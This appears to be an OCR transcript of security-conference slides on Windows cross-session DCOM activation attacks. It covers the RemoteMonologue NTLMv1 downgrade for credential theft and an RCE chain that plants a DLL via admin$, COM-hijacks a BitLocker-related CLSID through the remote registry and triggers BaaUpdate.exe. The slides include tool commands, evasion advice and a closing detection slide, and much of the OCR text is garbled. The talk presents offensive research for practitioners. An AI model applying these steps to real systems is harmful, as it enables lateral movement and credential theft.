Write-Host "Executing command for CLSID: $cleanClsid"

# Construct the command
$command = "RemotekrbRelay.exe -victim srv0l.domain -target srv02.domain -clsid $cleanClsid

-session 1 -smb -console -v --smbkeyword interactive"

# Execute the command
Invoke-Expression $command




Revisiting Cross Session Activation attacks

NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

round -clsid @ -console -v --smbke

Except:
BDEUILauncher (Client only)

e

ycle.Bin
ments and Settings
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

When to use this:

» Few Indicators of Compromise (loCs)

» RPC connection - initiating a COM Object in the context of a loggedon user

» Small chances of getting flagged

»  Only helpful when the user password is crackable or

» Relaying to ADCS is possible for a cert/auth



Revisiting Cross Session Activation attacks

NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

Publication from 8th of April:

» https://www.ibm.com/think/x-force/remotemonoloque-weaponizing-dcom-ntim-authentication-coercions

» Set RunAs ,Interactive User” via the remote registry

»  Support for NTLMv1 downgrade / Webclient Service start

» Relaying to SMB/LDAP possible



https://github.com/3lp4tr0n/RemoteMonologue
https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions
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NOVEL REMOTE ATTACK SURFACE - CREDENTIAL THEFT

Publication from 8th of April:

/
RemoteMonologue.py galaxy/administrator:’ aSERVERO1 -auth-to 172.22.164.58 -

[*] Targeting ServerDataCollectorSet COM object
[*] Setting RunAs value to Interactive User
[*] Running NetNTLMv1l downgrade attack

/

1

root@winbeef25: /opt 156x14

NTLMv1-SSP Client
NTLMv1-SSP Username : |
NTLMv1-SSP Hash



https://github.com/3lp4tr0n/RemoteMonologue
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RCE IN THE CONTEXT OF ANOTHER USER
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RCE IN THE CONTEXT OF ANOTHER USER

What would you do?

* Inject /S@
e Credential Theft

» Hijack Session
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RCE IN THE CONTEXT OF ANOTHER USER

What would you do?

* Service Creation

WEEE-WOOO-WEEE-
WOOO-WEEE-WOOO!
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RCE IN THE CONTEXT OF ANOTHER USER

What if we can minimize the 10Cs?

» RPC on the network level

« DCOM as execute primitive
> Living in a signed trusted binary

» Code Execution in the context of the target user

* No Impersonation

 No credential theft

* No Injection
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RCE IN THE CONTEXT OF ANOTHER USER

Bitlocker BDEUILauncher again?

0

File Registry Object Security Processes Storage Help
Remotefssistance Class Remu:ute.../]/CLSIDs }/TSRDSettings Class }/-

Fitter: ||:u:|eui

- - = -3488-3%881b185094 - BDEUILauncher Class
%4 IBDEUILauncher

gy IDispatch
-4 IMarshal
-4 Isupporterrorinfo
- TURknown
- Factory Interfaces

Ef] Functions O &

Function name Segment
| £ | CBDEUILauncher::UpdateRegistry(int)

¥4 CBDEUILauncher: BdeUIProcessStart(long,long,ushort *long ®) .
f | CBDEUILauncher::BdeUIContextTrigger(long,ushort *,short)
| £ | CBDEUILauncher::GetlUserLogonTime(__int64 *) Jtext
| £ | ATL::IDispatchImpl<IBDEUILauncher,&_GUID const IID_IBDEU... .text
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RCE IN THE CONTEXT OF ANOTHER USER

(1]

loc_140006984:
o [r1a+rbx*8]
lea [rbp+1E@hsDe
oV
prov
roV
call
nop
oy
lea
"oV
lea
call
op
rov
edi, eax
eax, eax
loc 140006481

tination

dword ptr [rax+rax+&

]
test eax, eax
jnz short loc_l140006A7F
™
ot AXSrAXS vord ptr [raxecaxs

a0
s
- PG
. e
a0
s
erey
. 535
- B
. D Lo eiaia L
AOLRRGEET LR
. BegaRae L4aaaia
- PG
. e
a0
s
ey

data:PeEeee8140080880
Ldata: seuaaae 14a8alas

data:epae00014080085
O3TE N L aiia L oA

data:PeRaeea14080008
data:8eaaaaal4a88le s

.data:eeeeaea14086085C
.data: #00000014008D88D

data:Peeoee01400008
Ldata: seaaaes 14a8aia

e BRABERET
.data: 2000808

.dat

ACEEG S E
SN LN O

0000BASC 000000014000D02C:
£

of f_laseaDpese dq offset unk_laseasree

align 28h

dq offset aBdeunlockExe ; "bdeunlock
db 3%h ; 9

db 8

db 8

db B

db 8

db 2

db 8

db 8

dq offset aFwvenotifyExe ; "F

db 33h ; 3

db 2

db 8

db 8

db B

dh 8

db 2

db 8

dq offset aFvepromptExe ; "FuvePrompt.
db 33h ; 3

dh 8

db 2

db 8

db 8

db B

dh 8

db 2

dq offset aBaaupdateExe ; "BaalUpdate.exe’

.data:000000014000D02C (Synchronized with Hex View-1)
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RCE IN THE CONTEXT OF ANOTHER USER

Short recap:

» We can spawn processes in the context of a loggedon user

» We cannot execute code directly

» We are administrator, SO we can

* Drop files via SMB

* Modify the remote registry
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RCE IN THE CONTEXT OF ANOTHER USER

COM Hijacking to the rescue 1

R '“-._ Baallpdate exe

11:51;... ShBaalpdate exe

11:51:55 2058347 AM |e.exe
11:57:... ShaBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51:... &%Baallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51;... S%aBaallpdate exe
11:51.... &4Baallpdate exe
11:51.... faBaallodate exe
£

“howing 1,240 of 10,057,461 events (0.012%

21724 E} RegOpenkey
21724 [ RegOpenkey

21724 I RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegQuenyValue
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegQuenyValue
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenkey
21724 ﬁ RegOpenKey
21724 & ReaQuenValue

HELM®,
HECL,

System“CumentControl 5et* Policies Microsoft \CryptographyConfiguration
Software"Classes \CLSIDATABIERC-3877-4840-8727-C1EASD7A4D 50}

HKC LM Software\Classes \CLSIDVATABIESC-3877-4840-8727-C1EASDTALDS0 Treat As

HKCRYWCLSIDN{ATABIESC-3877-4840-8727-C 1EASDTA4DEIN TreatAs

HECL,

Software"Classes \CLSIDATABIERC-3877-4840-8727-C1EASD7AADS0}

HKCRYWCLSIDN{ATAGIESC-3877-4840-8727-C 1EASD7ALD S0 ActivateOnHost Flags

HECL,
HECL,
HECL,
HECL,

Software"Classes \CLSIDATABIERC-3877-4840-8727-C1EASD7A4D 50}
Software"Classes \CLSIDATABIERC-3877-4840-8727-C1EASD7A4D 50}
Software \Classes \CLSIDNATABIERC-3877-4840-8727-C1EASD7ALD50 Inproc Server32
Software"Classes \CLSIDNATABIERC-3877-4840-8727-C1EASD 724050} InProc Server32

HKCRNCLSID W ATARIESC-3877-4840-8727-C 1EASD7ALD R0 In Proc Server 324 Inproc Server32

HKCLI
HECL,
HECL,
HECL,
HECL,

Software'Classes \CLSIDN{ATARIESC-3877-4840-8727-C1EASD 7A4D 501 InProc Server32
Software\Classes\CLSIDWATARIESC-3877-4840-8727-C1EASDTA4D50 InProc Server32
Software\Classes\CLSIDWATARIESC-3877-4840-8727-C1EASDTA4D50 InProc Server32
Software\Classes\CLSIDWATARIESC-3877-4840-8727-C1EASDTA4D50 InProc Server32
SoftwareClasses\CLSIDW{ATABIESC-3877-4840-8727-C1EASD7A4D 50} InprocHandler32

HKCRMCLSIDNATABIESC-3877-4840-8727-C1EASD7ALD S0  InprocHandler32

HECL,

Software \Classes \CLSIDWA7AGIERC-3877-4840-3727-C1EASD7ALD50 InprocHandler

HKCRYWCLSIDN{ATABIESC-3877-4840-8727-C1EASDTA4D50} InprocHandler

HELM:,

SOFTWARE \Microsoft \Ole*Max 5x SHashCourt

Backed by virtual memory

MAME NOT FOUND
MAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
NAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOUND
MAME NOT FOLND

1 https://www.blackhillsinfosec.com/a-different-take-on-dll-hijacking



https://www.blackhillsinfosec.com/a-different-take-on-dll-hijacking

Revisiting Cross Session Activation attacks

RCE IN THE CONTEXT OF ANOTHER USER

1) Plant a DLL on the target system via C$ or admin$
2) COM Hijack the target user via the remote Registry

3) Execute BaaUpdate.exe via BDEUILauncher in the context of our target user

4) Remove the COM Hijack

5) Cleanup the DLL
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RCE IN THE CONTEXT OF ANOTHER USER

nemo ume

https://github.com/rtecCyberSec/BitlockMove/
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RCE IN THE CONTEXT OF ANOTHER USER

BitlockMove:

» Only works on client Systems — it's about Bitlocker!
» No Cross Session Activation with the Win32 APIs — only one user is logged on a client
» Spawns a subprocess, OPSec unsafe

Finding alternatives for servers:

» Calling CoCreateInstance -> spawns process as interactive user

» Vulnerable to COM Hijack -> Win



PS C:\Users\S3cur3ThlsShlt>
PS C:\Users\S3cur3ThlsShlt>
PS C:\Users\S3cur3ThlsShlt>

Name

BrowserBroker Class
User Notification
PhotoAcgHWEventHandler
RoamDictionary Class

0207COAD-563B-4919-A967-E07. ..
Shared Reco Custom Marshall...

DevicesFlow
CDPComAccountProvider

UIHost Class

User Account Control Settings

Shield Provider User Sesstio...

Retail Demo User COM Agent
Proximity Sharing

CLSID_InputSwitchControlWra...
Windows Push Notification P...

AuthBrokerUI
UiaManagerEndpointInProcUtils
RDP Session Agent Class

Sync Client

Revisiting Cross Session Activation attacks

Install-Module OleViewDotNet
Get-ComDatabase
Get-ComClass -InteractiveUser

0002df02-0000-0000-cOOO-000000000046
0010890e-8789-413c-adbc-48f5b511b3af
00f2b433-44e4-4d88-b2b0-2698a0a9%1dba
01171f65-249e-4eeb-81bd-03e1b0fal873
0207c0ad-563b-4919-a967-e0782ffc35d1
03de7b30-9300-4fa9-af69-ba09497107a2
046aead9-5a27-4d3c-8a67-t82552e0a91b
049d54b5-e524-41b2-bd4d-34f7a0efc31d
054aae20-4bea-4347-8a35-64a533254a9d
06c792f8-6212-4f39-bf70-e8c0ac965¢c23
08728914-3f57-4d52-9e31-49daeca5a80a
0886dae5-13ba-49d6-abef-d0922e502d96
08fc06e4-c6b5-40be-97b0-b80f943c615b
0b86ccd2-7513-4f0a-aela-791a6d4db81d
0c928119-6dal-4006-8729-de6e6b61581c
0ea79562-d4f6-47ba-b7f2-1e9b06balbad
0feb5la7-30aa-4201-ba5e-97b75740chcb
115e13cf-cfe8-4821-b0da-e06aadd51426
1202db60-1dac-42c5-aed5-1abdd432248e

RCE IN THE CONTEXT OF ANOTHER USER

DefaultServerName

browser_broker.exe
shell32.d1l

rundl132.exe
InputPersonalization.exe
EdpNotify.exe

SpeechRuntime.exe
rundl132.exe

<APPID HOSTED>
TabTip.exe
UserAccountControlSettings.dll
SecurityHealthAgent.dll
<APPID HOSTED>
ProximityUxHost.exe
<APPID HOSTED=>

<APPID HOSTED=>
AuthBroker.dll
UiaManager.dll
RdpSaProxy.exe
mobsync.exe

https://github.com/tyranid/oleviewdotnet
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RCE IN THE CONTEXT OF ANOTHER USER

Credits:

» James Forshaw @tiraniddo

. Al RERED A o}
> Andrea Pierini @decoder_it ALL CRIEDTEIND

» Antonio Cocomazzi @spliter_code
» Michael Zhmaylo @MzHmO
> (@cubeoxo

» Sven Rath @eversinc33
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GOING ONE STEP BACK

» Relaying the first Kerberos auth with KrbRelayEx-RPC & CredMarshal trick

}PCSexver[135]: Client connected [10.
‘ success: True

But... why?

https://github.com/decoder-it/KrbRelayEx-RPC
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Revisiting Cross Session Activation attacks

DETECTION

1) Hardcoded DLL with obvious 10Cs

2) Remote COM Hijack for the CLSID A7A63E5C-3877-4840-8727-C1EA9D7A4D50

A cmd.exe (9832) Properties - O X
3) BaaUpdate.exe loading an unexpected attacker defined DLL | Sitans | P | i | nin | v [ ome

' iCi i ot o
4) BaaUpdate.exe launching suspicious child processes Ve 100, 190414355 (WD, 60101080

Image file name {Win32):

| C:\Windows\System32cmd. exe |

Image file name:
| \Device\Harddiskvolume3\Windows 3 ystem32\cmd. exe |

Process

Command line: | cmd.exe pause |

Current directory: | C:\Windows\System32} |

Started: | 29 seconds ago (1:00:12 PM 6/3/2025) |
Parent console: | conhost.exe (12534) |
Parent process: | baaupdate.exe (3004) | |

Mitigation policies: | DEP (permanent); ASLR. (high entropy); CF G| Details

Protection: None Palicy Terminate

Image type: AMDE4 (64-hit)




THANK YOU FOR YOUR ATTENTION!

QUESTIONS?

Fabian Mosch

Etec

an accomeio company




